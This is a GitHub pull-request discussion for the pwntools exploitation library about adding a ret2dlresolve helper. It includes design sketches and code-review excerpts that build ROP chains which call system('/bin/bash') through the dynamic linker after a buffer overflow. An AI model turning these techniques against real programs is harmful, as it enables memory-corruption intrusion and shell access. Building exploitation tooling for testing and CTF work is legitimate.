-
Notifications
You must be signed in to change notification settings - Fork 1.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add ret2dlresolve #1436
Add ret2dlresolve #1436
Conversation
Help with the designI need some help with the design. Ret2dlresolve technique includes a payload containing the dl-resolve-related structures and other things, and the rop chain that reads the payload and calls dl-resolve. Current designRight now we have a new file ret2dlresolve.py, whose important members are:
Therefore, the way of exploiting a binary would be something like: # Creates the object
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"])
# Gets an address inside .bss for saving payload2
DATA_ADDR = ret2dlresolve.get_recommended_address()
# Creates the structures, processes arguments and adds necessary strings and pointers.
# Maybe it's better make it call get_recommended_address if no address is provided,
# as in design 2.
payload2 = ret2dlresolve.build(DATA_ADDR)
# Creates the rop chain. Needs processed arguments
# (real arg is not "/bin/bash" but a pointer to payload2 where that string is)
rop = ret2dlresolve.get_rop(read_func="read", read_func_args=[0, DATA_ADDR])
raw_rop = rop.chain()
payload = padding_for_overflow + raw_rop
p.sendline(payload + payload2) Design 2Another option could be having just a class Ret2dlresolve in ret2dlresolve.py, and a method ret2dlresolve inside ROP class.
This time, the above code would be: # Creates the structures, processes arguments and adds necessary strings and pointers
# If an address is not provided, it uses one inside .bss. The payload in the attribute payload
dlresolve = Ret2dlresolve(elf, symbol="system", args=["/bin/bash"])
data_addr = dlresolve.data_addr
rop = ROP(elf)
#Creates the rop chain. Needs processed arguments
rop.ret2dlresolve(reloc_index=dlresolve.reloc_index, real_args=dlresolve.real_args, \
read_func="read", read_func_args=[0, data_addr])
raw_rop = rop.chain()
payload = padding_for_overflow + raw_rop
payload2 = dlresolve.payload
p.sendline(payload + payload2) Design 3The last option I thought is creating a class Ret2dlresolveRop that inherits from both ROP and Ret2dlresolve (the one of the current design). # Builds the payload
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"], \
read_func="read", read_func_args=[0, DATA_ADDR], data_addr=DATA_ADDR)
# Builds the chain
raw_rop = ret2dlresolve.chain()
payload = padding_for_overflow + raw_rop
payload2 = ret2dlresolve.payload
p.sendline(payload + payload2) I would appreciate every feedback, idea or opinion. |
If we could have tests for this it would be great, particularly for amd64
On Fri, Mar 6, 2020 at 3:02 PM Klesoft ***@***.***> wrote:
Help with the design
I need some help with the design.
Ret2dlresolve technique includes a payload containing the
dl-resolve-related structures and other things, and the rop chain that
reads the payload and calls dl-resolve.
Current design
Right now we have a new file ret2dlresolve.py, whose important members are:
- Class Ret2dlresolve, which builds the payload with the structures.
Requires elf and symbol that will be called.
- Class Ret2dlresolveRop, which requires the elf, the symbol that will
be called and the args for that call, and also the address where the
payload will be placed. It inherits from Ret2dlresolve and makes it build
the payload, processes the arguments, adds to that payload strings and
pointers related with them, and provides a function get_rop for
creating the rop chain.
Therefore, the way of exploiting a binary would be something like:
# Creates the object
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"])
# Gets an address inside .bss for saving payload2DATA_ADDR = ret2dlresolve.get_recommended_address()
# Creates the structures, processes arguments and adds necessary strings and pointers.# Maybe it's better make it call get_recommended_address if no address is provided,# as in design 2.
payload2 = ret2dlresolve.build(DATA_ADDR)
# Creates the rop chain. Needs processed arguments# (real arg is not "/bin/bash" but a pointer to payload2 where that string is)
rop = ret2dlresolve.get_rop(read_func="read", read_func_args=[0, DATA_ADDR])
raw_rop = rop.chain()
payload = padding_for_overflow + raw_rop
p.sendline(payload + payload2)
Design 2
Another option could be having just a class Ret2dlresolve in
ret2dlresolve.py, and a method ret2dlresolve inside ROP class.
- Class Ret2dlresolve would require the elf, the symbol, the args and
the address where the payload will be placed. It would build the payload,
process the arguments and add related stuff to the payload.
- Method ret2dlresolve would require the reloc index and the real args
given by the class Ret2dlresolve. It would create the rop chain.
This time, the above code would be:
# Creates the structures, processes arguments and adds necessary strings and pointers# If an address is not provided, it uses one inside .bss. The payload in the attribute payload
dlresolve = Ret2dlresolve(elf, symbol="system", args=["/bin/bash"])
data_addr = dlresolve.data_addr
rop = ROP(elf)
#Creates the rop chain. Needs processed arguments
rop.ret2dlresolve(reloc_index=dlresolve.reloc_index, real_args=dlresolve.real_args, \
read_func="read", read_func_args=[0, data_addr])
raw_rop = rop.chain()
payload = padding_for_overflow + raw_rop
payload2 = dlresolve.payload
p.sendline(payload + payload2)
Design 3
The last option I thought is creating a class Ret2dlresolveRop that
inherits from both ROP and Ret2dlresolve (the one of the current design).
I haven't tried it, but the code would be something like:
# Builds the payload
ret2dlresolve = Ret2dlresolveRop(elf, symbol="system", args=["/bin/bash"], \
read_func="read", read_func_args=[0, DATA_ADDR], data_addr=DATA_ADDR)
# Builds the chain
raw_rop = ret2dlresolve.chain()
payload = padding_for_overflow + raw_rop
payload2 = ret2dlresolve.payload
p.sendline(payload + payload2)
I would appreciate every feedback, idea or opinion.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#1436?email_source=notifications&email_token=AAA3IGALPAUVBXSJWZV2IY3RGFQHRA5CNFSM4K4P63LKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEOC3BLI#issuecomment-595964077>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AAA3IGEXLQ5VCDNBT727O33RGFQHRANCNFSM4K4P63LA>
.
--
*Zach Riggle*
|
This looks great, I would see design number two best (consistent with what pwntools style of doing things). Also, it would be awesome if you added some tests to the new code. |
self.raw(plt_init) # call plt_init | ||
self.raw(reloc_index) # arg for plt init | ||
self.raw(0xDEADBEEF) # ret | ||
for arg in real_args: # args for the called symbol | ||
self.raw(arg) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a better way to do this?
plt_init = elf.get_section_by_name(".plt").header.sh_addr + elf_base | ||
log.debug("PLT_INIT: %s", hex(plt_init)) | ||
|
||
self.call(read_func, read_func_args) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think getting read_func
and read_func_args
can be somewhat automated having the elf, but I'm not sure how.
I've already changed the design and added a test. I will also add documentation as soon as you agree with the design. Some points:
Any feedback is greatly appreciated. |
I have now had more time to look at this PR. This is great, but it looks cumbersome to be used for now. Also, it looks like the ret2dlresolve does not have to be the last call in the ROP chain, although it assumes so for x86 (is it necessary?). I quite like what SROP does (I wanted this to be just like SROP, but this would come next). I also had the idea of adding a parameter to |
Ret2dlresolve
This PR aims to introduce a friendly interface for creating ret2dlresolve payloads. It supports calling any libc symbol with any argument, same as ROP when stack address is known, without having a leak. The generated rop chain calls (ideally)
read
to introduce the payload with ElfSym and ElfRel structures and with data needed for the arguments, such as pointers and strings, and then calls_dl_fixup
with an appropiate reloc index, which will resolve and call the symbol.Testing and documentation
TODO
Target Branch
Dev